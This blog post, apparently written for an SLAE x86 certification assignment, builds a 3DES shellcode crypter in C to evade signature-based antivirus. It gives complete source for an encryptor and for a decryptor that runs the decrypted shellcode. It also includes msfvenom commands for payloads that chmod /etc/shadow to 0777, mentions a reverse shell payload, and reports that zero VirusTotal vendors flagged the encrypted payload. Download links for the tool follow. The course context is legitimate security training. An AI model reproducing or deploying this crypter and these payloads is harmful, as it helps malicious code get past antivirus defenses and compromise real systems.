Introduction
This is assignment #7 of the SLAE x86 Exam objectives.
Objectives
- Create a custom crypter like the one shown in the “crypters” video
- Free to use any existing encryption schema
- Can use any programming language
Building a task plan and prerequisites
Shellcode crypter nuances
A shellcode crypter is actually closer to an obfuscation exercise than it is to cryptography. Although called a crypter, it does need to be able to decode itself. So in general, a shellcode crypter would just obfuscate your own shellcode using an encryption schema, so that you would not have to create a polymorphic shellcode in order to avoid signature-based AV detection.
A crypter would only apply to and get past signature-based detection, in case there are any other methods implemented by the an AV/IPS, like checking for and detecting any suspicious network traffic, this method would not be able to get through it.
What this means is that, any encryption schema would be suitable for the task. However, the more complicated and resource consuming algorithm is used, the more time it would take for the decoder stub to decode the actual code. This itself is an additional hurdle as some AV protections may implement a time-based check between the time the application has been run and the time it generates network traffic, although such kind of interference with a process would lead to many false positives, but modern AVs could be quite complicated and well balanced.
To conclude, this means that any encryption algorithm would be suitable, even non-cryptographically secure or reliable, as the purpose is to obfuscate the code instead of making it hard to decrypt (actually this should be actually avoided as it would lead to too much resource consumption).
Choosing an encryption schema
Encryption schemes
The first thing is to choose an encryption schema for the shellcode crypter.
A list of commonly available shellcode encryption schemes are:
- TEA
- RC4
- AES
- XOR
- 3DES
- DES
- CBC
For more details on the above or additional cryptographic schemes you may refer to this Cryptography Tutorial on tutorialspoint
Here’s also A very good and informative tutorial on C Implementation of Cryptographic Algorithms with source code snippets
Msfvenom encoders
Let’s also checkout the encoders available in msfvenom:
$ msfvenom -l encoders
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
I’ve decided to make the crypter use 3DES, mostly because I have not met this widely used while looking at others’ write ups.
Task plan
The exercise would consist of the following of the following tasks:
- Get a 3DES encrypting stub, programmed in C
- Choose the shellcode to be encoded
- test the shellcode and make sure it works as expected
- Pass the shellcode to the crypter
- Get the generated shellcode to execute
- test the encrypted shellcode and make sure it works as expected
Looking for a 3DES encrypting skeleton
While searching for a 3DES encryption program coded in C, the following seemd like good candidates:
http://www.firmcodes.com/triple-des-cbc-mode-encryption-example-c-programming-openssl/
https://cpp.hotexamples.com/examples/-/-/DES_ede3_cbc_encrypt/cpp-des_ede3_cbc_encrypt-function-examples.html
https://github.com/wolfSSL/wolfssl-examples/blob/master/crypto/3des/3des-file-encrypt.c
https://www.example-code.com/c/crypt2_3des.asp
The first candidate looks the most straightforward as it uses the openssl library which is included along with the kernel headers.
/* http://www.firmcodes.com/triple-des-cbc-mode-encryption-example-c-programming-openssl/
Compiling:
gcc -o 3des 3des.c -lssl -lcrypto
*/
$ cat 3des.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/des.h>
/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = { 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 };
DES_cblock Key2 = { 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22 };
DES_cblock Key3 = { 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33 };
DES_key_schedule SchKey1,SchKey2,SchKey3;
/* Print Encrypted and Decrypted data packets */
void print_data(const char *tittle, const void* data, int len);
int main()
{
/* Input data to encrypt */
unsigned char input_data[] = {0x01, 0x02, 0x03, 0x04, 0x05};
/* Init vector */
DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
DES_set_odd_parity(&iv);
/* Check for Weak key generation */
if ( -2 == (DES_set_key_checked(&Key1, &SchKey1) || DES_set_key_checked(&Key2, &SchKey2) || DES_set_key_checked(&Key3, &SchKey3)))
{
printf(" Weak key ....\n");
return 1;
}
/* Buffers for Encryption and Decryption */
unsigned char* cipher[sizeof(input_data)];
unsigned char* text[sizeof(input_data)];
/* Triple-DES CBC Encryption */
DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);
/* Triple-DES CBC Decryption */
memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)text, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
/* Printing and Verifying */
print_data("\n Original ",input_data,sizeof(input_data));
print_data("\n Encrypted",cipher,sizeof(input_data));
print_data("\n Decrypted",text,sizeof(input_data));
return 0;
}
void print_data(const char *tittle, const void* data, int len)
{
printf("%s : ",tittle);
const unsigned char * p = (const unsigned char*)data;
int i = 0;
for (; i<len;++i)
printf("%02X ", *p++);
printf("\n");
}
from C Implementation of Cryptographic Algorithms by Jace H. Hall
2.3 3DES
2.3.1 Encrypting and Decrypting With Triple DES
The following code example shows the encryption and decryption process using 3DES with and without CBC.
The key scheduler is set to populate both key schedules. The results of the operations are stored in the original
data array.
/*
https://www.ti.com/lit/an/slaa547c/slaa547c.pdf?ts=1657235262630&ref_url=https%253A%252F%252Fwww.google.de%252F
*** This code uses a third party library by Texas Instruments - installing it and using it out of scope or this post ***
*/
$ cat 3des.c
#include "msp430xxxx.h"
#include "TI_DES.h"
int main( void )
{
des_ctx dc1; // Key schedule structure
unsigned char *cp;
unsigned char data[] = {0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8,
0xcd, 0xb7, 0x80, 0x70, 0xb4, 0xc5, 0x5a};
unsigned char key[8] = {0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07};
unsigned char key1[8] = {0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xfe};
unsigned char key2[8] = {0x01,0x23,0x45,0x67,0x89,0xab,0xdc,0xfe};
cp = data;
///First 8 bytes of Data will be Encrypted then Decrypted
TripleDES_ENC( &dc, cp, 1, key, key1, key2); // 3DES Encrypt
TripleDES_DEC( &dc, cp, 1, key, key1, key2); // 3DES Decrypt
/// All 16 Bytes of Data will be Encrypted then Decrypted with CBC
TripleDES_ENC_CBC( &dc, cp, 2, key, key1, key2); // 3DES Encrypt
TripleDES_DEC_CBC( &dc, cp, 2, key, key1, key2); // 3DES Decrypt
return 0;
}
Compiling:
* Requires third party library
3DES Shellcode crypter stub
! Important caveat*
The original example is actually wrong, as the way the size is passed when the encryption occurs gets the length of the input data instead of the encrypted cipher. While this works in the example as is, when providing an encrypted cipher to a decoder stub later where the input string does not exist, it would not work as bytes will be missing, due to the fact that the encrypted cipher is usually larger than the original input string.
To comprehend this, you may take a look at the following explanation on Difference between strlen() and sizeof() for string in C
Due to the reason that the encrypted string will be larger than the input data, the compiler would need to allocate memory space larger than the size of the original string. It would also contain some null bytes which terminate the string due to the way the 3DES algorithm works, probably as it needs some space to work with while decrypting, so the cipher then has to be trimmed to the first null-byte.
As there’s no need to print actual null-bytes which are considered bad characters for our shellcode there’s no need to print the terminating character at all.
As an additional consideration, the 3DES algorithm crypto library may need some of the null-bytes during decryption, so the approach would be to use sizeof() while passing the encrypted string as a parameter and use strlen() while printing the output of the decrypted string.
Due to the way memory allocation works the decrypted string would still be larger than what is needed for the decrypted string, so there would be no need to get the characters past the null-byte string to get the decrypted data.
* It took me a very long time to figure out what the issue was with the missing data at the end when passing the encryppted string. The screenshot below shows how using the sizeof function on the wrong variable resulted in inconsistencies because of passing the wrong encrypted string with missing data:
$ sh
$ ./3des1
Original : \xbb\xcc\xfe\x70\x5c\xdb\xd8\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xdd\x25\x00 Size: 59
Encrypted : \x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a\xdf\x5d\x97\x49\x95\x14 Size: 59
Decrypted : \xbb\xcf\xfd\x75\x59\xdd\xde\xd0\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xdd\x25\x00 Size: 59
Decrypted (manual) : \xbb\xcf\xfd\x75\x59\xdd\xde\xd0\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xb2\x1a\x08\x77 Size: 60
Note how when passing the encrypted string ending in \x14, which is actually missing bytes, resulted in incorrectly decrypting the encrypted data when manually passing the encrypted string to the DES_ede3_cbc_encrypt function for decryption. The same does not happen when the function is printing the decrypted output directly from memory because it works with the correctly formed shellcode byte order although not printed.
The semantically wrong code outputting the above data is as following:
/* Buffers for Encryption and Decryption */
unsigned char* cipher[sizeof(input_data)];
unsigned char* text[sizeof(input_data)];
/* Triple-DES CBC Encryption */
DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);
/* Triple-DES CBC Decryption */
memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)text, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
unsigned char c[] = \
"\x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a\xdf\x5d\x97\x49\x95\x14";
unsigned char* decrypted[sizeof(c)];
// DES_set_odd_parity(&iv);
memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)c, (unsigned char*)decrypted, sizeof(c), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
/* Printing and Verifying */
print_data("\n Original ",input_data,sizeof(input_data));
print_data("\n Encrypted",cipher,sizeof(input_data));
print_data("\n Decrypted",text,sizeof(input_data));
print_data("\n Decrypted (manual) ",decrypted,sizeof(c));
The following lines have to be changed:
/* Printing and Verifying */
print_data("\n Original ",input_data,sizeof(input_data)); // WRONG! -> strlen(input_data)
print_data("\n Encrypted",cipher,sizeof(input_data)); // WRONG ! -> strlen(cipher)
print_data("\n Decrypted",text,sizeof(input_data)); // WRONG! -> strlen(input_data)
Fixing the code resulted in the following difference in the Encrypted string:
Encrypted : \x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a
\xdf\x5d\x97\x49\x95\x14 Size: 59
Encrypted : \x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a
\xdf\x5d\x97\x49\x95\x14\xc1\x8a\x46\x8c\x32 Size: 64
Note how the first version is missing bytes from the cipher whereas the second one provides the complete encrypted string.
Obstacles in front
An additional very important detail while coding this, was that the web is full of examples which are ACTUALLY WRONG ! The original example taken would NOT take the key. I tried encrypting and decrypting the encoded cipher numerous times by providing alternative keys and it actually worked. I tried looking for more examples on the issue and found this example, which seems to be hosted in this git repo, nicely containing examples on other cryptographic algorithms coded in C as well!
What this means is, the original code was not taking and applying the keys at all, due to a very important part of the code missing:
DES_set_key((DES_cblock *)Key1, &SchKey1);
DES_set_key((DES_cblock *)Key2, &SchKey2);
DES_set_key((DES_cblock *)Key3, &SchKey3);
And based on the above let’s form an actually working example of how to program a 3DES encoder in C using the provided keys:
#include <stdio.h>
#include <string.h>
#include <openssl/des.h>
/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = "AAAAAAAA";
DES_cblock Key2 = "BBBBBBBB";
DES_cblock Key3 = "CCCCCCCC";
DES_key_schedule SchKey1,SchKey2,SchKey3;
int main()
{
/* Set and apply 3DES Keys */
DES_set_key((DES_cblock *)Key1, &SchKey1);
DES_set_key((DES_cblock *)Key2, &SchKey2);
DES_set_key((DES_cblock *)Key3, &SchKey3);
/* alternatively, DES_random_key may be used */
/*
DES_random_key(&key1);
DES_random_key(&key2);
DES_random_key(&key2);
*/
unsigned char input_data[] = "3DES Crypter by \\x0d\\x07\\x0d...";
/* Initialization Vector */
DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
// DES_cblock iv = { 0xe1, 0xe2, 0xe3, 0xd4, 0xd5, 0xc6, 0xc7, 0xa8 };
/* Check for Weak key generation: https://www.openssl.org/docs/manmaster/man3/DES_set_key_checked.html
If the key is a weak key, then -2 is returned
*/
if ( -2 == (DES_set_key_checked(&Key1, &SchKey1) || DES_set_key_checked(&Key2, &SchKey2) || DES_set_key_checked(&Key3, &SchKey3)))
if ( -2 == DES_set_key_checked(&Key1, &SchKey1))
{
printf(" Weak key ....\n");
return 1;
}
/* Buffers for Encryption and Decryption */
unsigned char* cipher[sizeof(input_data)];
unsigned char* decrypted[sizeof(input_data)];
/* Triple-DES CBC Encryption */
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);
/* Triple-DES CBC Decryption */
memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)decrypted, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
printf("Encrypted string: %s", cipher);
printf("\nDecrypted string: %s", decrypted);
return 0;
}
After some code refactoring, below is my the modified version for the 3DES shellcode crypter stub, coded in C:
/* ***
*
* 3DES Shellcode crypter by d7x
*
* d7x.promiselabs.net
*
* Usage: gcc -fno-stack-protector -zexecstack -m32 -o 3des_crypter 3des_crypter.c -lssl -lcrypto
*
* ***/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/des.h>
/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = "3DES";
DES_cblock Key2 = "Crypter";
DES_cblock Key3 = "by d7x";
DES_key_schedule SchKey1,SchKey2,SchKey3;
/* Print Encrypted and Decrypted bytes */
void print_data(const char *tittle, const void* data, int len);
int main()
{
/* Apply 3DES keys */
DES_set_key((DES_cblock *)Key1, &SchKey1);
DES_set_key((DES_cblock *)Key2, &SchKey2);
DES_set_key((DES_cblock *)Key3, &SchKey3);
/* Place shellcode here */
unsigned char input_data[] = "\xbb\xcc\xfe\x70\x5c\xdb\xd8\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xdd\x25";
/* => chmods /tmp/f to 0777 */
/* Init vector */
DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
// DES_cblock iv = { 0xe1, 0xe2, 0xe3, 0xd4, 0xd5, 0xc6, 0xc7, 0xa8 };
DES_set_odd_parity(&iv);
/* Check for Weak key generation: https://www.openssl.org/docs/manmaster/man3/DES_set_key_checked.html,
* If the key is a weak key, then -2 is returned */
if ( -2 == (DES_set_key_checked(&Key1, &SchKey1) || DES_set_key_checked(&Key2, &SchKey2) || DES_set_key_checked(&Key3, &SchKey3)))
{
printf(" Weak key ....\n");
return 1;
}
/* Buffers for Encryption and Decryption */
unsigned char* cipher[sizeof(input_data)];
unsigned char* text[sizeof(input_data)];
/* Triple-DES CBC Encryption */
DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);
/* Triple-DES CBC Decryption */
memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)text, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
/* Place the encrypted output here to verify the integrity */
unsigned char c[] = \
"\xd5\x0c\x1e\xee\xfd\x1f\xb4\x50\xac\xde\x1a\x59\x4c\x10\xe9\x7a\x2c\xb0\x09\x79\x2c\xe0\x28\x17\xf4\x60\xc9\x0a\x33\x27\x48\x03\xc4\x8d\x4d\x26\x0b\x7c\xdd\xa9\xcf\x65\x0f\xac\xd3\xc2\xa8\x67\xde\xf6\x83\x02\x8a\x01\xa8\x1f\x95\x23\x94\x25\xdf\xce\xa3\x79\x0c\xdc\x81\xf7";
unsigned char decrypted[sizeof(c)];
// DES_set_odd_parity(&iv);
memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)c, (unsigned char*)decrypted, sizeof(c), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
/* Printing and Verifying */
print_data("\n Original ",input_data,strlen(input_data));
print_data("\n Encrypted",cipher,strlen(cipher));
print_data("\n Decrypted",text,strlen(input_data));
print_data("\n Decrypted (manual) ",decrypted,strlen(decrypted));
/* Run shellcode */
/* int (*ret)() = (int(*)())decrypted;
ret(); */
return 0;
}
void print_data(const char *tittle, const void* data, int len)
{
printf("%s : ",tittle);
const unsigned char * p = (const unsigned char*)data;
int i = 0;
/* len-1 to omit the \x00 null terminator at the end */
for (; i<len;++i)
printf("\\x%02x", *p++);
printf(" Size: %d", len);
printf("\n");
}
Generate shellcode using msfvenom
$ msfvenom -p linux/x86/chmod FILE=/tmp/f MODE=0777 -e x86/bloxor -b '\x00' -f c > out.shellcode
$ cat out.shellcode | sed '1d' | sed -E -z 's/"|\n|;//g'; echo
Copy shellcode to clipboard:
cat out.shellcode | sed '1d' | sed -E -z 's/"|\n|;//g' | xclip -selection clipboard #; echo
Run the shellcode using decryptor
/* ***
*
* 3DES Shellcode crypter by d7x
*
* d7x.promiselabs.net
*
* Usage: gcc -fno-stack-protector -zexecstack -m32 -o 3des_decrypt 3des_decrypt.c -lssl -lcrypto
*
* ***/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/des.h>
/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = "3DES";
DES_cblock Key2 = "Crypter";
DES_cblock Key3 = "by d7x";
DES_key_schedule SchKey1,SchKey2,SchKey3;
/* Print Encrypted and Decrypted data packets */
void print_data(const char *tittle, const void* data, int len);
main()
{
/* Apply 3DES keys */
DES_set_key((DES_cblock *)Key1, &SchKey1);
DES_set_key((DES_cblock *)Key2, &SchKey2);
DES_set_key((DES_cblock *)Key3, &SchKey3);
/* Encrypted shellcode generated by 3des_crypter */
unsigned char shellcode_3des[] = \
"\xd5\x0c\x1e\xee\xfd\x1f\xb4\x50\xac\xde\x1a\x59\x4c\x10\xe9\x7a\x2c\xb0\x09\x79\x2c\xe0\x28\x17\xf4\x60\xc9\x0a\x33\x27\x48\x03\xc4\x8d\x4d\x26\x0b\x7c\xdd\xa9\xcf\x65\x0f\xac\xd3\xc2\xa8\x67\xde\xf6\x83\x02\x8a\x01\xa8\x1f\x95\x23\x94\x25\xdf\xce\xa3\x79\x44\x5d\x82\xff\x40\x5d\x82\xff\x06";
/* Init vector */
DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
DES_set_odd_parity(&iv);
/* buffer for the decrypted string */
unsigned char* decrypted[sizeof(shellcode_3des)];
/* Triple-DES CBC Decryption */
memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
DES_set_odd_parity(&iv);
DES_ede3_cbc_encrypt( (unsigned char*)shellcode_3des, (unsigned char*)decrypted, sizeof(shellcode_3des), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
memcpy(shellcode_3des, decrypted, strlen(decrypted) );
// strcpy(shellcode_3des, decrypted);
/* Printing and executing */
print_data("\n Encrypted",shellcode_3des,sizeof(shellcode_3des));
print_data("\n Decrypted",decrypted,strlen(decrypted));
/* Run shellcode */
int (*ret)() = (int(*)())shellcode_3des;
ret();
return 0;
}
void print_data(const char *tittle, const void* data, int len)
{
printf("%s : ",tittle);
const unsigned char * p = (const unsigned char*)data;
int i = 0;
/* len-1 to omit the \x00 null terminator at the end */
for (; i<len;++i)
printf("\\x%02x", *p++);
printf(" Size: %d", len);
printf("\n");
}
Running the decrypter
$ gcc -fno-stack-protector -zexecstack -m32 -o 3des_decrypt 3des_decrypt.c -lssl -lcrypto
$ ./3des_decrypt
Here’s the result from the generated payload on virustotal:
Here’s an actual payload of chmodding /etc/shadow to 0777 generated using the following msfvenom command, and then its shellcode passed to the 3des crypter, which had a 100% success rate during my testing:
$ msfvenom -p linux/x86/chmod FILE=/etc/shadow MODE=0777 -b '\x00\x90\x0d\x0a' -f c > out.shellcode
And the results from msfvenom without using the 3des crypter:
msfvenom -p linux/x86/chmod FILE=/etc/shadow MODE=0777 -b '\x00\x90\x0d\x0a' -f elf > chmod.bin
And also an attempt to spawn a tcp reverse shell, encoded with x86/shikata_ga_nai:
Results of original msfvenom payload:
Encoded with 3des crypter:
Encoding a reverse shell tcp payload using the 3des crypter resulted in 100% success rate:
To prevent abuse, some of the actual commands and methods in this article may have been obfuscated or partially demonstrated.
Update Comparison: a few days later
22 vendors flagged the payload generated by msfvenom as malicious, whereas no vendors flagged the payload obfuscated by the custom 3DES Crypter.
Original msfvenom payload:
Payload encrypted by the 3des crypter:
Conclusion
As the present post shows, although creating custom crypters to obfuscate generated shellcode is a non-trivial and intensive task, mostly due to the lack of examples on custom shellcode creation using encryption scheme algorithms, it is a feasible objective which could be easily solved when the required effort to refine and tune your research has been put into place. AV Evasion techniques contain the element of the never-ending chase, so the more research your shellcode crypter required the most chance it has not been used by anyone else and could avoid the most recent and up to date signatures.
This completes the Assignment #7 for the SLAE x86 course and the overall exam requirements.
Download
3DES Shellcode Crypter:
PacketStormSecurity:
https://packetstormsecurity.com/files/167723/3DES-Shellcode-Crypter.html
Github:
https://github.com/d7x/shellcode/tree/main/linux/3des_crypter
Resources:
C Implementation of Cryptographic Algorithms
http://www.firmcodes.com/triple-des-cbc-mode-encryption-example-c-programming-openssl/
https://github.com/dduros1/automated-detection-thesis
https://github.com/wolfSSL/wolfssl-examples/blob/master/crypto/3des/3des-file-encrypt.c
https://www.example-code.com/c/crypt2_3des.asp
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-34669